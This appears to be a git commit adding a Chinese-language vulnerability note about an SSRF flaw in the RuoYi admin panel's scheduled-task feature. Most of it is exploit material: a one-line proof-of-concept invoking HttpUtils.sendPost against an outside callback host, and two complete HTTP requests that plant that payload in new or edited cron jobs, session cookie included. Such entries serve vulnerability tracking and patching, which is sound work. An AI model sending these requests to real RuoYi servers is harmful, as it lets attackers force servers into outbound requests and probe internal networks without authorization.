Create 若依后台定时任务存在SSRF漏洞.md
This commit is contained in:
parent
2c6c14c5d8
commit
a7d725d789
47
若依后台定时任务存在SSRF漏洞.md
Normal file
47
若依后台定时任务存在SSRF漏洞.md
Normal file
@ -0,0 +1,47 @@
|
||||
## 若依后台定时任务存在SSRF漏洞
|
||||
|
||||
|
||||
## poc
|
||||
```
|
||||
com.ruoyi.common.utils.http.HttpUtils.sendPost('ftp://6a928e83f9.ipv6.1433.eu.org','')
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## 数据包
|
||||
```
|
||||
POST /monitor/job/edit HTTP/1.1
|
||||
Host: xxx
|
||||
Connection: keep-alive
|
||||
Content-Length: 242
|
||||
sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
sec-ch-ua-mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
|
||||
Cookie: JSESSIONID=563ce678-53de-407f-8ed9-cabbc1f17ea4
|
||||
|
||||
jobId=102&updateBy=admin&jobName=test&jobGroup=DEFAULT&invokeTarget=com.ruoyi.common.utils.http.HttpUtils.sendPost('ftp%3A%2F%2F6a928e83f9.ipv6.1433.eu.org'%2C'')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=1&remark=
|
||||
```
|
||||
|
||||
```
|
||||
POST /monitor/job/add HTTP/1.1
|
||||
Host: xxxx
|
||||
Connection: keep-alive
|
||||
Content-Length: 232
|
||||
sec-ch-ua: "Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
sec-ch-ua-mobile: ?0
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
|
||||
Cookie: JSESSIONID=563ce678-53de-407f-8ed9-cabbc1f17ea4
|
||||
|
||||
createBy=admin&jobName=test1&jobGroup=DEFAULT&invokeTarget=com.ruoyi.common.utils.http.HttpUtils.sendPost('ftp%3A%2F%2F6a928e83f9.ipv6.1433.eu.org'%2C'')&cronExpression=0%2F1+*+*+*+*+%3F&misfirePolicy=1&concurrent=1&status=0&remark=
|
||||
```
|
||||
|
||||
## 漏洞来源
|
||||
- https://mp.weixin.qq.com/s/ttn46zznE4-op2GydL1i1A
|
||||
Loading…
x
Reference in New Issue
Block a user